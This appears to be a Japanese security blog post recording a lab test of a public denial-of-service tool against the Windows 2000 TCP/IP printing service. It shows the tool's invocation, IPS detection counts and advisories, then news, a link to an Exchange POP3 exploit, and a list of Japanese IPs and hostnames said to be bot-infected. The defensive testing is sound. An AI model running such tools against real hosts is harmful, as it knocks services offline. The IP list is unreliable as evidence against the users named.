Microsoft Security Bulletin MS01-021 を参照して、「Malformed TCP/IP Print Request」パッチを適用します。


詳細
Windows TCP/IP Printing Service denial of service
http://www.iss.net/security_center/static/4203.php


検証環境

優先度

OS

IP

Intruder:

Windows2000

192.168.221.11

Victim:

Windows2000

192.168.221.180

検出手段

ProvenitaM10(IPS)

XPU1.66


実証コード
C:\Report\Exploite\RS7.0\BufferOverflow>Windows_Printing_Service_DOS_windosprs.exe
TCP/IP Print Request Server Vulnerability (515 Port) and DHCP Service Denial of Service
Systems Affected:
Microsoft Windows NT 4.0 Workstation
Microsoft Windows NT 4.0 Server
Microsoft Windows NT 4.0 Server, Enterprise Edition
Microsoft Windows 2000 Professional
Microsoft Windows 2000 Server
Microsoft Windows 2000 Advanced Server

by: Ussr
for source code or binary go to: http://www.ussrback.com/

Usage: windosprs HostIp
Example: windosprs 192.168.0.6
C:\Report\Exploite\RS7.0\BufferOverflow>Windows_Printing_Service_DOS_windosprs.exe 192.168.221.180


トレース

イベント検知一覧

優先度

シグネチャ名

検知件数

High

LPRng_Format_String

943

High

HPUX_LPD_Overflow

11

Medium

Windows_Printing_Service_DOS

352



イベント詳細

Windows_Printing_Service_DOS.jpg


参照事項

Microsoft Security Bulletin MS00-021

Patch Available for "Malformed TCP/IP Print Request" Vulnerability

http://www.microsoft.com/technet/security/bulletin/ms00-021.asp


Underground Security Systems Research advisory USSR-2000037

Remote DoS Attack in Windows 2000/NT 4.0 TCP/IP Print Request Server Vulnerability

http://www.ussrback.com/labs37.html


BugTraq Mailing List, Thu Mar 30 2000 - 12:48:09 CST

Remote DoS Attack in Windows 2000/NT 4.0 TCP/IP Print Request Server Vulnerability

http://archives.neohapsis.com/archives/bugtraq/2000-03/0306.html


Microsoft Knowledge Base Article 257870

Malformed Print Request May Stop Windows 2000 TCP/IP Printing Service

http://support.microsoft.com/default.aspx?scid=kb;[LN];257870


Neohapsis Archives

Remote DoS Attack in Windows 2000/NT 4.0 TCP/IP Print Request Server Vulnerability

http://archives.neohapsis.com/archives/bugtraq/2000-03/0306.html


CVE

CVE-2000-0232

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2000-0232







概要説明


記載されていない情報をご存知の方、ぜひamaterasu@job.email.ne.jp 、コメントまたは、トラックバックして頂けると助かります。皆様のご協力をお願いいたします。


----------------------------

■あまてらす

----------------------------

おはようございます。あまてらすです。

昨日は、実証コード関係の検証を一日行っておりました。また、リクナビの転職セミナーでJPCERTが

出展していたので遊びに行こうと思ったのですが、あまりの寒さに断念しました。

とほほほ・・・・



----------------------------

■セキュリティニュース

----------------------------

・セキュリティ

政府、「第1次情報セキュリティ基本計画」を正式決定

「セキュリティの警告」が表示されたら要注意、無視すると被害に

IPA、Web アプリケーション開発者向けにセキュリティ実装講座を開催

「Vista」の責任者に聞く--読者からの質問状

・ハッカー

NASA監察官、内部告発もみ消し疑惑 米紙Wポスト報道

史上最悪のワーム「Sober」に関する驚くべき調査結果

・脆弱性

IE 7 β2にDoSの脆弱性

ウイルス検出数は減少するも、「ワンクリック詐欺」相談は引き続き増加――IPA





----------------------------

■実証コード

----------------------------

サ 2006-02-03 : eXchange POP3 "RCPT TO" Command Handling Remote Code Execution Exploit

http://www.frsirt.com/exploits/20060203.Exchangepop3.pl.php

----------------------------

■不正なアクセス(日本を送信元とした攻撃)

----------------------------

自分の管理するグローバルIPアドレスが以下のリストに含まれている場合は、ウィルスまたはボットワームに感染している恐れが高いです。至急ウィルススキャンを実行される事を推奨します。


60.236.135.46 FLH1Aaz046.kyt.mesh.ad.jp
61.121.15.162 ntfkok042162.fkok.nt.adsl.ppp.infoweb.ne.jp
61.124.23.20 ntfkui013020.fkui.nt.adsl.ppp.infoweb.ne.jp
61.125.33.30 z30.61-125-33.ppp.wakwak.ne.jp
61.125.37.188 z188.61-125-37.ppp.wakwak.ne.jp
61.125.57.139 usr007.bb007-01.uda.im.wakwak.ne.jp
61.125.67.211 zaq3d7d43d3.zaq.ne.jp
61.125.74.39 zaq3d7d4a27.zaq.ne.jp
61.125.74.96 zaq3d7d4a60.zaq.ne.jp
61.125.76.99 zaq3d7d4c63.zaq.ne.jp
61.125.80.20 zaq3d7d5014.zaq.ne.jp
61.125.82.31 zaq3d7d521f.zaq.ne.jp
61.125.82.142 zaq3d7d528e.zaq.ne.jp
61.125.83.128 zaq3d7d5380.zaq.ne.jp
61.125.93.66 zaq3d7d5d42.zaq.ne.jp
61.125.99.174 zaq3d7d63ae.zaq.ne.jp
61.125.100.101 zaq3d7d6465.zaq.ne.jp
61.125.100.107 zaq3d7d646b.zaq.ne.jp
61.125.104.220 zaq3d7d68dc.zaq.ne.jp
61.125.104.228 zaq3d7d68e4.zaq.ne.jp
61.125.122.11 zaq3d7d7a0b.zaq.ne.jp
61.125.126.102 zaq3d7d7e66.zaq.ne.jp
61.125.204.83 i204083.ppp.asahi-net.or.jp
61.125.205.241 i205241.ppp.asahi-net.or.jp
61.125.224.67 i224067.ppp.asahi-net.or.jp
61.125.231.78 i231078.ppp.asahi-net.or.jp
61.198.225.90 R225090.ppp.dion.ne.jp
221.113.16.175 p016175.ppp.asahi-net.or.jp
221.113.24.52 p024052.ppp.asahi-net.or.jp
221.113.96.35 35.96.113.221.ap.yournet.ne.jp
221.113.105.220 220.105.113.221.ap.yournet.ne.jp
221.113.112.87 87.112.113.221.ap.yournet.ne.jp
221.113.163.39 p2039-ipbf14aobadori.miyagi.ocn.ne.jp
221.113.199.128 p1128-freed01hon-sw1gw1.tokyo.ocn.ne.jp
221.113.200.233 p2233-freed01hon-sw1gw1.tokyo.ocn.ne.jp
221.113.202.150 p2150-freed01hon-sw1gw2.tokyo.ocn.ne.jp
221.113.223.16 p26016-adsau07doujib3-acca.osaka.ocn.ne.jp
221.113.236.80 p2080-ipad55osakakita.osaka.ocn.ne.jp
221.113.238.136 p4136-ipad55osakakita.osaka.ocn.ne.jp